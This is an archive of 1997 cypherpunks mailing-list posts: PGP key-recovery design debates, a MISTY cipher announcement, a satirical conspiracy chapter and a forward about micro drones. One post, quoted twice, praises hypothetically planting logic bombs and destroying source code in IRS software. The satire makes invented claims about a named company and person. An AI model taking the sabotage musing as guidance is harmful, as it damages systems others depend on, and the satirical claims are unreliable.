decoding method is strictly evaluated at the design stage has become 
necessary. Since announcing its linear
cryptanalysis, Mitsubishi Electric has been making efforts to develop 
encryption technology backed by
adequate security. In January 1994, Mitsubishi Electric performed the 
first successful experiment to decode
the Data Encryption Standard (DES), an American standard commercial 
encryption system, to quantitatively
evaluate its strength using this linear cryptanalysis. Using this 
evaluation technology, Mitsubishi Electric
has developed an encryption algorithm that provides sufficient security 
and achieves high speed encryption. 

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Oct 1997 05:29:21 +0800
To: gbroiles@netbox.com
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <3.0.2.32.19971018025454.03e23124@pop.sirius.com>
Message-ID: <199710181953.UAA00908@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Greg Broiles <gbroiles@netbox.com> writes:
> Adam Back writes:
> >You have a dual concern: you are trying to protect against big brother
> >and against little brother.
> 
> At the technical level, is there a meaningful difference between the
> brothers? 

I think so yes.  I think I am able to demonstrate situations where
there is a trade-off: you can trade government resistance against
little brother resistance.

PGP Inc's CMR I believe is a form of this; they have nice
recommendations for companies, statement of intents for plaintext
handling, and transparent statements of when email is a company
recoverable email address.

But way that they have implemented this functionality I believe could
be perverted for uses other than their intentions by governments.

I think this means that the resulting system has traded off weaker
government resistance to acheive marginally stronger little brother
resistance.  (I may even say no stronger little brother resistance, I
think CDR can acheive same functionality).

The best example I can think of is France.  Other governments (US/UK)
people say: it'll never happen; tin pot dictator scenarios people are
less worried about because they feel the dictator will do unreasonable
things in any case.

The situation in France is: currently (or recently) you could not use
encryption at all without a license.  The enforcement rate is low to
zero.  (Jerome Thorel interviewed the head of SCSSI (NSA equivalent),
and they said that if you asked for a license for personal use they
would say "no", but if you didn't bother asking and used PGP2.x
anyway, they wouldn't do anything about it typically).

Now I understand the French have switched position: you can use
encryption without a license *provided* that it has master key access
for the government.

Lets say then that our aim is to design the OpenPGP standard and the
pgp5.5 implementation to be as resistant to use by the French
government as possibe.

With the pgp standard as is french government could insist that people
use pgp5.x.  pgp5.x provides a reasonablly useful framework for the
french government to adapt to be used as a master access system.

Because this will then be explicitly allowed, more people are likely
to use it.  (Current people using pgp2.x illegally are one suspects
the french cypherpunks subset of the population).  This means that the
french government can start to ramp up enforcement as there are less
objections (you _can_ protect confidentiality for business and privacy
uses, use this: pgp5.x).

If on the other hand pgp5.x were to use only single recipients for
confidentiality, and to base company recovery of encrypted mail
folders on key recovery information stored locally alongside the
mailbox the system would be less useful to the french government.

> Aren't we really talking about third-party access to communications,
> and second-party access to stored data ... with the "brother"
> distinction being one made at a social/political level, as a
> judgement about the legitimacy of the access or the size of the
> actor, rather than the character of the access?

It is more than that I think.

This is because many people acknowledge legitimacy of companies to a)
encrypt data b) to recover data in case employee forgets keys, or dies
unexpectedly.

Second party access to stored data is much less scary.  Little brother
can ultimately read _everything_ you do at work.  If he gets
suspicious he can install keyboard logger, keyboard password sniffer,
or concealed videocam whilst you are out of the office.  The best we
can do is discourage little brother from abusing systems designed for
data recovery as mass communications snooping.  The best suggestion I
have seen for this so far was Bill Stewart's suggestion to only store
recovery info for some of the bits.  Make the recovery process
artificially slow: say 40 bits.  Worth it for recovering main
developers design notes made in email when he dies unexpectedly.  Some
hinderance to little brother unless he is determined.  As long as this
hinderance is similar scale to other similar things little brother
could do to check up on suspicious user, you have achieved your goal
of hindering little brother.

Big brother is hindered very significantly if you do recovery locally,
rather than on the communications link as PGP Inc CMR does.  This is
because big brother does not have access to the ciphertext on disks.
He must come and take them.  Whereas for communications he can
practically acheive access to your email ciphertext at push button
convenience.

Your email communications are already secret split with the NSA: the
data is split into to unequally sized halves: the _key_ and the
_ciphertext_.  For this reason you really don't want the NSA to get
that key.

For data storage recovery, your data is again in two halves: you have
one, the _key_, your employee/you have the other, the _ciphertext_ on
disk.  Your employee can recover that info anyway.  The NSA can't
easily.  It is much more logistically expensive to collect or randomly
sample disk contents.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Ghio <ghio@temp0119.myriad.ml.org>
Date: Sun, 19 Oct 1997 11:31:39 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 4 (Part III of 'The True Story of the InterNet')
Message-ID: <344976F5.5889@temp0119.myriad.ml.org>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
gomez


Epilogue


Subject: Re: Just say "No" to key recovery concerns...keep
OpenPGP pure
From: Adam Back <aba@dcs.ex.ac.uk>
To: tcmay@got.net
CC: shamrock@cypherpunks.to, cypherpunks@cyberpass.net,
eric@sac.net

Tim May <tcmay@got.net> writes:
> I'll try a different way of making my points...

> At 9:12 PM -0700 10/14/97, Lucky Green wrote:
> >I can't help but see a difference between enforcing
to encrypt to a
> >default key and storing the user's key outright. IMHO,
the former entails
> >less potential for abuse.
> 
> All other things being equal, maybe the former is slightly
less intrusive
> than the latter. But maybe not even this, as the two give
the same results.
> After all, what's the real difference between "all mail,
incoming and
> outgoing, must also be encrypted to a CMR key" and "you
must deposit a copy
> of your key with us"?


CMR keys are the root of all evil in pgp5.5. Without them almost
any
permutation of recovery care to construct would be less useful
to the
GAK'ers, for all the organizational, and inconvenience reasons
Tim
describes. Governments have problems handling complexity. 

So make their job complex. If you were one of the people writing
the
IRS tax software back in the 60s, and you were in deep cover,
a
proto-cypherpunk, and were bright enough to see the future
possibilities you would have done all you could to fuck up the
IRS
system. You would have obfuscated the code. You would have put
logic
bombs in it. You would have destroyed the source code
surreptitiously. (Destroying source code has analogies to destroying

keys at earliest opportunity, you are destroying something which
your
enemy needs).

Any bets as to if any of this actually happened on purpose? I
reckon
so.

So, do you all reckon we can make task of fielding GAK impossibly

complex for such a big disorganized government?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>

)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





gomez

I used to be a bright-eyed young computer guerrilla myself, many
years ago, but I guess I have grown a little less radical as I
have matured, since it now bothers me when youngsters such as
Adam Back attempt to encourage others to sabotage the code of
decent, hard-working programmers.
This matter is of particular concern to me, since Basis, Inc.
initially built the Purchasing and Contracting application in
the IRS National Office, to run under UNIX on Zilogs, with a preSQL
Informix database. Thus Back's intimations of "deep cover
proto-cypherpunks" sabotaging the IRS could quite possibly
cause serious harm to my professional reputation, in light of
the wild-eyed claims made about me in 'The True Story of the InterNet'
manuscripts.

I have grown quite tired of being the target of some half-baked,
delusional psychopath who is making me a character in the bizarre
prevarications which drool from his mind, onto the printed page.

I made the mistake of taking pity on a poor fellow one night in
a Berkeley bar, buying him a few drinks in return for the atrocious
tunes he played on a cheap, pawn shop guitar, and soon found him
showing up on my doorstep every time he hit town, looking for
a handout. Later, I found out that he had forged a letter of recommendation
in my name, in order to help himself get established in the computer
industry. It was very disturbing to discover some of the atrocities
he had done under cover of affiliation with myself and Basis,
Inc., causing me a great amount of legal problems.

Now, after believing that his obsessive-compulsive fixation on
me (because of his affection for my Jack Russell Terriers) was
a thing of the past, I find that he is now pushing some crazy
theory in regard to the Y2K problem, which is really a fairly
insignificant matter that he has blown all out of proportion,
and that he has drawn Adam Back into his madness to one degree
or another.
Mr. Back seems, from what little I know of him, to be a fairly
reasonable individual, but lately he has been sinking into the
same type of illogical rants and conspiracy rhetoric that the
imbecile who calls himself the Author is notorious for. And now
Back is making veiled references to persons connected to 'The
True Story of the InterNet' obfuscating the IRS software code
and planting logic bombs in it.

Of particular concern to me is the fact that I personally had
a hand in a rather innocent affair that resulted in our company
making some coding changes which could possibly be misconstrued
to indicate that we were involved in some type of testing of a
Year2000 bomb in the IRS software code.

One of the requirements for the application we built for the IRS
was that no PO (Purchase Order) could be issued without a signed
Requisition being referenced. Also, no PO could reference a Requisition
issued outside the current fiscal year.
Thus, no PO could be written for a Requisition from the previous
year.

But...the BIG But...the IRS staff had long been doing this...violating
the strict letter of the IRS rules-especially around the beginning
of a new fiscal year.
Lacking a current fiscal year requisition, they referenced one
dated the previous (just closed) fiscal year.

Suddenly, however, our application stopped their usual practice
dead in the water, once certain PO's could not be processed because
we required reference to valid (current year) Requisitions. We
later discovered that the staff had been "cheating"
by defeating our system's logic, after we were called in to tighten
up all the design's enforcement of logic. Next thing you know,
we were asked to relax the logic.

I would like to stress that it is a matter of record that the
calendar year related problems were a result of the government
specifications and requirements for the application, and not the
result of some devious plot on the part of myself or Basis, Inc.,
to surreptitiously investigate the potential for designing code
that would take advantage of the unique problems surrounding the
advance from the 1999 calendar year to the year 2000 in order
to bring the IRS system to its knees.

Neither was the fact that the garnisheeing of my paycheck by the
IRS stopped shortly after our work on the IRS system started in
any way related to my work on their system. It was merely a coincidence
of timing.
Conspiracy theorists might also make much of the fact that several
Basis applications programmers shortly thereafter took jobs with
the IRS for half of their former pay, but this can be explained
by their desire for the long-term security and benefits that come
with working for the federal government. The fact that most of
them left the IRS and returned to Basis shortly after completing
a major reworking of the calendar year updating system which locked
the IRS irrevocably into two digit year entries indicates nothing
more than the fact that they preferred living on the Left Coast.

People often offer raised eyebrows when discovering that I went
from having my paycheck garnisheed to receiving a $150,000 tax
refund on a $100,000 salary, each year, but this is because they
fail to take into account the fact that my work as a Research
Faculty member for the Center for Policy Alternatives at MIT involved
an interdisciplinary research center with links to Sloan School,
which gave me access to superior financial management advice.

The Center's close relationship to MIT's engineering departments
was in no way connected to any sort of covert government activity,
nor to any secret work on the development of the forerunners of
today's InterNet in a manner that would make it possible for powerful
non-elected Committees and secret Commissions to take control
of a large segment of government and society.

The Center for Policy Alternatives ceased to exist years ago,
and the rumors that the Center was merely moved underground to
secretly work toward establishing organizations such as FEMA,
and the like, are preposterous.

I am really growing sick and tired of the lies and slander that
surround myself and Basis, Inc., as a result of the jealousy of
other major league computer companies over our success at the
peak of the Open Systems computer consulting industry.
The constant insinuations that we cannot be trusted with highly
sensitive systems such as those at the IRS and PacBell, simply
because of our early history as Deadheads, is an insult to our
integrity. To suggest that Acidhead Grateful Dead fans all have
radical political agendas is no more true than suggesting that
all Malcolm X followers are black.

Well, OK, maybe that's a bad example...

Regardless, I would like to put to rest, once and for all, the
preposterous rumors that have been circulating which link myself
and other top computer industry executives to some mythical secret
organization whose aim is to subvert the legitimate machinations
of authority and the established power structure.
  I totally deny any connection to 'The True Story of the InterNet'
or to anyone involved in the writing and/or dissemination of the
manuscripts, and I would advise others to do the same.

Copyright  TruthMonger <gomez@BASISINC.com>

"Last one seen fixing it, gets the blame."


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Ghio <ghio@temp0119.myriad.ml.org>
Date: Sun, 19 Oct 1997 11:44:47 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 4 / TEXT
Message-ID: <34497767.9AD@temp0119.myriad.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * gomez

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
From: Adam Back <aba@dcs.ex.ac.uk>
To: tcmay@got.net
CC: shamrock@cypherpunks.to, cypherpunks@cyberpass.net, eric@sac.net

Tim May <tcmay@got.net> writes:
> I'll try a different way of making my points...

> At 9:12 PM -0700 10/14/97, Lucky Green wrote:
> >I can't help but see a difference between enforcing to encrypt to a
> >default key and storing the user's key outright. IMHO, the former entails
> >less potential for abuse.
>
> All other things being equal, maybe the former is slightly less intrusive
> than the latter. But maybe not even this, as the two give the same
results.
> After all, what's the real difference between "all mail, incoming and
> outgoing, must also be encrypted to a CMR key" and "you must deposit a
copy
> of your key with us"?

CMR keys are the root of all evil in pgp5.5. Without them almost any
permutation of recovery care to construct would be less useful to the
GAK'ers, for all the organizational, and inconvenience reasons Tim
describes. Governments have problems handling complexity.

So make their job complex. If you were one of the people writing the
IRS tax software back in the 60s, and you were in deep cover, a
proto-cypherpunk, and were bright enough to see the future
possibilities you would have done all you could to fuck up the IRS
system. You would have obfuscated the code. You would have put logic
bombs in it. You would have destroyed the source code
surreptitiously. (Destroying source code has analogies to destroying
keys at earliest opportunity, you are destroying something which your
enemy needs).

Any bets as to if any of this actually happened on purpose? I reckon
so.

So, do you all reckon we can make task of fielding GAK impossibly
complex for such a big disorganized government?

Adam
--
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                    gomez

I used to be a bright-eyed young computer guerrilla myself, many years ago,
but I guess I have grown a little less radical as I have matured, since it
now bothers me when youngsters such as Adam Back attempt to encourage others
to sabotage the code of decent, hard-working programmers.
This matter is of particular concern to me, since Basis, Inc. initially
built the Purchasing and Contracting application in the IRS National Office,
to run under UNIX on Zilogs, with a preSQL Informix database. Thus Back's
intimations of "deep cover proto-cypherpunks" sabotaging the IRS could quite
possibly cause serious harm to my professional reputation, in light of the
wild-eyed claims made about me in 'The True Story of the InterNet'
manuscripts.

I have grown quite tired of being the target of some half-baked, delusional
psychopath who is making me a character in the bizarre prevarications which
drool from his mind, onto the printed page.
I made the mistake of taking pity on a poor fellow one night in a Berkeley
bar, buying him a few drinks in return for the atrocious tunes he played on
a cheap, pawn shop guitar, and soon found him showing up on my doorstep
every time he hit town, looking for a handout. Later, I found out that he
had forged a letter of recommendation in my name, in order to help himself
get established in the computer industry. It was very disturbing to discover
some of the atrocities he had done under cover of affiliation with myself
and Basis, Inc., causing me a great amount of legal problems.

Now, after believing that his obsessive-compulsive fixation on me (because
of his affection for my Jack Russell Terriers) was a thing of the past, I
find that he is now pushing some crazy theory in regard to the Y2K problem,
which is really a fairly insignificant matter that he has blown all out of
proportion, and that he has drawn Adam Back into his madness to one degree
or another.
Mr. Back seems, from what little I know of him, to be a fairly reasonable
individual, but lately he has been sinking into the same type of illogical
rants and conspiracy rhetoric that the imbecile who calls himself the Author
is notorious for. And now Back is making veiled references to persons
connected to 'The True Story of the InterNet' obfuscating the IRS software
code and planting logic bombs in it.

Of particular concern to me is the fact that I personally had a hand in a
rather innocent affair that resulted in our company making some coding
changes which could possibly be misconstrued to indicate that we were
involved in some type of testing of a Year2000 bomb in the IRS software
code.

One of the requirements for the application we built for the IRS was that no
PO (Purchase Order) could be issued without a signed Requisition being
referenced. Also, no PO could reference a Requisition issued outside the
current fiscal year.
Thus, no PO could be written for a Requisition from the previous year.

But...the BIG But...the IRS staff had long been doing this...violating the strict
letter of the IRS rules-especially around the beginning of a new fiscal
year.
Lacking a current fiscal year requisition, they referenced one dated the
previous (just closed) fiscal year.

Suddenly, however, our application stopped their usual practice dead in the
water, once certain PO's could not be processed because we required
reference to valid (current year) Requisitions. We later discovered that the
staff had been "cheating" by defeating our system's logic, after we were
called in to tighten up all the design's enforcement of logic. Next thing
you know, we were asked to relax the logic.

I would like to stress that it is a matter of record that the calendar year
related problems were a result of the government specifications and
requirements for the application, and not the result of some devious plot on
the part of myself or Basis, Inc., to surreptitiously investigate the
potential for designing code that would take advantage of the unique
problems surrounding the advance from the 1999 calendar year to the year
2000 in order to bring the IRS system to its knees.

Neither was the fact that the garnisheeing of my paycheck by the IRS stopped
shortly after our work on the IRS system started in any way related to my
work on their system. It was merely a coincidence of timing.
Conspiracy theorists might also make much of the fact that several Basis
applications programmers shortly thereafter took jobs with the IRS for half
of their former pay, but this can be explained by their desire for the
long-term security and benefits that come with working for the federal
government. The fact that most of them left the IRS and returned to Basis
shortly after completing a major reworking of the calendar year updating
system which locked the IRS irrevocably into two digit year entries
indicates nothing more than the fact that they preferred living on the Left
Coast.

People often offer raised eyebrows when discovering that I went from having
my paycheck garnisheed to receiving a $150,000 tax refund on a $100,000
salary, each year, but this is because they fail to take into account the
fact that my work as a Research Faculty member for the Center for Policy
Alternatives at MIT involved an interdisciplinary research center with links
to Sloan School, which gave me access to superior financial management
advice.
The Center's close relationship to MIT's engineering departments was in no
way connected to any sort of covert government activity, nor to any secret
work on the development of the forerunners of today's InterNet in a manner
that would make it possible for powerful non-elected Committees and secret
Commissions to take control of a large segment of government and society.

The Center for Policy Alternatives ceased to exist years ago, and the rumors
that the Center was merely moved underground to secretly work toward
establishing organizations such as FEMA, and the like, are preposterous.

I am really growing sick and tired of the lies and slander that surround
myself and Basis, Inc., as a result of the jealousy of other major league
computer companies over our success at the peak of the Open Systems computer
consulting industry.
The constant insinuations that we cannot be trusted with highly sensitive
systems such as those at the IRS and PacBell, simply because of our early
history as Deadheads, is an insult to our integrity. To suggest that
Acidhead Grateful Dead fans all have radical political agendas is no more
true than suggesting that all Malcolm X followers are black.

Well, OK, maybe that's a bad example...

Regardless, I would like to put to rest, once and for all, the preposterous
rumors that have been circulating which link myself and other top computer
industry executives to some mythical secret organization whose aim is to
subvert the legitimate machinations of authority and the established power
structure.
I totally deny any connection to 'The True Story of the InterNet' or to
anyone involved in the writing and/or dissemination of the manuscripts, and
I would advise others to do the same.

Copyright TruthMonger <gomez@BASISINC.com>
"Last one seen fixing it, gets the blame."
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Sun, 19 Oct 1997 12:43:00 +0800
To: cypherpunks@toad.com
Subject: about MISTY encryption algorithm
Message-ID: <19971019042835.2501.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Mitsubishi Electric Corp. has developed new secret-key cryptosystem 
MISTY1 and MISTY2, which are ciphers with 128-bit key and 64-bit data 
block. They are provably secure against differential and linear 
cryptanalysis,and also fast on software implementations as well as on 
hardware platforms. Using ciphers on wide-area networks requires a 
method to maintain security as long as its encryption key (password 
commonly shared by a sender and a receiver) is kept secret, even if the 
mechanism of the encryption is made public. However,possibilities of 
unauthorized access will increase when the encryption mechanism is made 
public. In fact,several encryption algorithms, whose specifications were 
made public,have been compelled to make
specification changes, and to sacrifice their encryption speed in return 
for an increased cipher strength to protect against recent decoding 
methods. This is why an encryption system whose security against these 
decoding method is strictly evaluated at the design stage has become 
necessary. Since announcing its linear cryptanalysis,Mitsubishi Electric 
has been making efforts to develop 
encryption technology backed by adequate security. In January 1994, 
Mitsubishi Electric performed the first successful experiment to decode 
the Data Encryption Standard (DES), an American standard commercial 
encryption system, to quantitatively
evaluate its strength using this linear cryptanalysis. Using this 
evaluation technology, Mitsubishi Electric has developed an encryption 
algorithm that provides sufficient security and achieves high speed 
encryption.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Oct 1997 05:29:33 +0800
To: stewarts@ix.netcom.com
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <3.0.3.32.19971018014919.006c9538@popd.ix.netcom.com>
Message-ID: <199710182117.WAA01016@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <stewarts@ix.netcom.com> writes:
> > [separate signing and encryption keys]
> 
> On the other hand, if the keys are separate, Louis Freeh
> can tell the Congress that it's not a big problem,
> he'd NEVER dream of GAKing your signature keys,

Valid argument with some value yes.  Actually now that you bring it up
I dimly remember this aspect being raised on cypherpunks some time
back.  Perhaps it was you who raised it even.  Or perhaps it was Phil
Karn, or someone.

> Similarly, your corporate security bureaucrats can understand
> the concept that if they CAK your privacy keys,
> they're risking having official company signatures get forged,
> and they'll often do the right thing and desist,
> but with separate keys that won't stop them.

Hmmm.  I think that if companies start encrypting anything, they're
going to need recovery of some sort.  Else they just won't use it at
all.

Most of them aren't using storage encryption right now anyway, which
is why Tim May's suggestion to store emails after decrypt in the clear
makes a lot of sense as a simple interim way out of this problem until
the issues have been explored more.

This largely avoids company requirement to recover emails.

One valid objection to this approach is that if the employee forgets
their password whilst there are lots of emails queued up to receive
that those emails will be lost.  Or if the employee gets hit by a
truck.

However I'm not so sure this is a big deal for a number of reasons:

1. how often do employees get hit by trucks?
2. how often do employees forget passwords? (all the time unfortunately)
3. things which are important the sender is likely able to resend because
   he has in clear on disk
4. senders using the same software can have archives of what they have sent
   and easily able to resend.

> >Does pgp5.0 reply encrypting to just me as individual, or two crypto
> >recipients me, and Mega Corp recovery key?
> Just you.

If you are right, it will bounce when it hits an enforcer with the
strict setting turned on.

Is this what will happen?

This will mean that the users will have to manually figure out how to
solve (get enforcer key, multiple encrypt to that key, possibly by
cc'ing to enforcer email address/userID even if this bounces).

> >It is evil.  But it is not _as_ evil.
> >
> >The reason for this is that government access to storage keys is not
> >as evil as government access to communications keys, because the
> >government has to come and capture the ciphertext (take your disk),
> >whereas with communications they can grab them via an arrangement with
> >your ISP.
> 
> First of all, the only reason for having a CMRK attached to your key
> is that either your mail service will reject mail to you that doesn't
> contain it, or your employer insists on it.  In either case,
> it can be done without a special CMRK field on your key --
> PGP multiple recipients are enough to do that, and the sender
> just has to remember to include the (no longer automagically attached) CMRK.
> So leaving out the CMRK doesn't protect you.

Lack of automation is some weak protection.  What are users to do?
Send Cc: <thoughtpolice@nsa.gov>.  What if they forget?  Much more
plausible to forget.  Makes strict penalties for forgetting difficult
in western countries.  5 years jail time for forgetting?  Don't think
so.

What about the traffic?  If you make it an invalid address, just to
pick up the key it'll flood email systems with bounces; every single
encrypted mail will get a bounce.

Not an overwhelming protection, but may mean more people will more
resist it, and more people will forget often with the current email
MUA deployed base.

With many people using CMR based pgp5.5, forgetting will be much less
plausible.

Putting in CMR encourages adoption of this kind of filtering/bouncing
approach.

I am interested in analysis and discussion of the level of
significance this difference makes to user uptake of GAK in say the US
as an example (say some time in 1998 when many more businesses and
individuals have upgraded to pgp5.x).  What differences are there in
resistance between a pgp5.5 using CMR and with a pgp5.6 using CDR (or
storage-CAK as Bill terms the approach)?

> Second, if the government is coming to get your disk anyway,
> they can get themselves a court order to have you reveal the key,
> and you can argue with the judge about whether you should be
> compelled to reveal it, and at least in the US there's a 
> Fifth Amendment backing up your arguments (though like the
> other amendments, it's weakened by the "except for drugs" clause...)

Yes.  This is the kind of reason I argue that storage recovery is less
dangerous than communications recovery.  They've got to get the disk
first.  And they can't tell if you have used GAK until they get it;
when they get it if you're suspecting they will try this, you will
ensure there is no GAK access, you will use other software, as you
have nothing to lose.

> GAK asserts that the government has the right to your keys
> before you get to court.  

Well that is the scenario that Freeh is arguing for yes.  Faced with a
choice of giving him your comms keys or your storage keys, I'd go for
storage keys anyday.  I can lie to him, and give him some random
numbers and he'll never know.  The point at which he will know will be
after the dawn raid; if it gets to dawn raids you are indendently in
trouble anyway.

> On yet another hand, while it may be obvious when the government
> steals your disk and uses Storage-GAK, companies using Storage-CAK
> or Storage-CMR can use it just as well on the backup tapes without
> your notice as on your disk drive.  Furthermore, you can think of
> the data backup process as communications from you to the
> backupmeister, so Storage-CAK _is_ Message-CAK, and Storage-CMR is
> Message-CMR.

Technically yes.  Practically no, there is a large difference.  The
extra protection of Storage-CAK method is the extra GAK resistance due
to the fact that availability of access to communications is patchy,
and more expensive for the government to achieve, and enforcement is
patchy, even detection is patchy.  This patchiness is good.  Mass
keyword scanning is impossible on a wide scale.  The government can
keyword scan some of you, but they can do that already at similar cost
levels: they can plant bugs, have undercover federal investigator
inflitrate your company in guise of employee etc.  The aim of the game
is to make the cost higher than existing physical attacks, or at least
as high as possible.

> But CAKing the disk doesn't protect the company's information,
> and there's therefore no excuse for using it.  

Surely it does?

If you are in ACME Corp and they want all disks encrypted as a
security policy.  They provide smart cards to employees, and
workstations data is inaccessible until correct smart card is
inserted.  Employee lets dog chew on smart card.  No recovery implies
that this data is irretrievably lost.

> Superencryption is always possible, in messages as well as files,
> but with message encryption the eavesdropping-prone corporation can
> detect superencrypted messages going by (though not stego'd), while
> PGP-encrypted files on your disk only show up _after_ you've been
> hit by the bus on your way to the headhunter's.

This is good.  Both systems are hackable from all three directions.
(individuals can hack around system to increase privacy; corporations
can hack around to decrease privacy (keyboard sniffer); governments
can too by walking in and taking disks and threatening people fail
time for not handing over keys.)  Many aspects of this are better with
storage data recovery than they are with communications recovery.
Especially government aspects.  Company aspects are almost neutral
non-issue in my mind due to ease with which company can remove your
privacy as they own machines, and can do all sorts of things to your
software, hardware, video cam, bug phone, keyboard sniffer, keyboard
log, etc.,etc.

> BTW, PGP5.5 CMR _is_ CMR'd storage encryption.  
> It's not as convenient as encrypted file systems 
> like PGPdisk and Secdev, 
> but people are using it to encrypt stored data,
> including email and non-email files.

Yes.  pgp5.0 which I looked at windows version (available on
ftp://ftp.replay.com/ (netherlands) somewhere for other non-US
people), does file and email encryption.  As does linux version.

> On a technical note, GAK for storage can be made less dangerous,
> though not less offensive, by adding a layer of indirection -
> use your public key to encrypt a symmetric key, store the encrypted
> symmetric key on your disk, and then use the symmetric key for
> encrypting the storage (or as a master key for encrypting the
> per-file or per-block storage keys, if you're doing that, 
> which you probably should.)  This means that a search warrant
> which is required to itemize the things it's looking for can be
> more effectively restricted to specific files rather than
> cracking the whole disk and every other disk that uses the
> same encryption keys.

Good point.

> >The point though is that storage recovery is a completely separable
> >issue from communications "recovery" which is a euphamism for allowing
> >companies to read, or snoop, employees email, unless it is being used
> >soley for data recovery of mail stored in mail folders (which seems to
> >be what PGP Inc means by CMR term), in which case it is not necessary
> >functionality, and can be better acheived by encrypting the mail
> >archive with a user symmetric key with company storage recovery on
> >that key.
> 
> Trust me - you _really_ don't want mailboxes encrypted,
> recovery key or no recovery key, unless it's implemented very very well.

PGP Inc does use this otherwise there would be no argument about need
for recovery information -- you don't need recovery information for
plaintext.

> [100Mb mail folder corruption nightmares]

Your example of corruption problems with large mail boxes is one
argument against this practice.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Oct 1997 15:24:52 +0800
To: whgiii@invweb.net
Subject: Re: Non-conventional
In-Reply-To: <199710181814.OAA26560@users.invweb.net>
Message-ID: <199710182123.WAA01536@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




> Anonymous writes:
> >Tim May implied that Cpunx should develop non-conventional email. Crypto
> >has been declared to be munitions.
> >Nukes are non-conventional weapons.
> >Should we be developing nuclear email?
> >Should we 'email-nuke DC?"

Just email them "nuke.fab" :-)

(Readers won't understand that unless they read my contribution to the
true story of the internet).

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Oct 1997 12:01:31 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: The reason terrorists carry fly-swatters (fwd)
Message-ID: <199710190423.XAA04010@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 19 Oct 1997 05:31:34 +0200 (MET DST)
> Subject: The reason terrorists carry fly-swatters
> From: nobody@REPLAY.COM (Anonymous)

> * The San Jose Mercury News reported in March on some working
> models of the Defense Department's tiny flying machines ("micro
> air vehicles"), no larger than birds, including one helicopter that
> could fit inside a peanut shell, that are suited for tasks such as
> locating hostages in occupied buildings, sniffing out poisonous
> chemicals, and finding enemy snipers.  Each micro air vehicle
> carries cameras, sensors, transmitters, and antennas.

Actualy there was a show on The Discovery Channel last week that discussed
these as well as many other robotics projects being pursued by various
groups currently.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
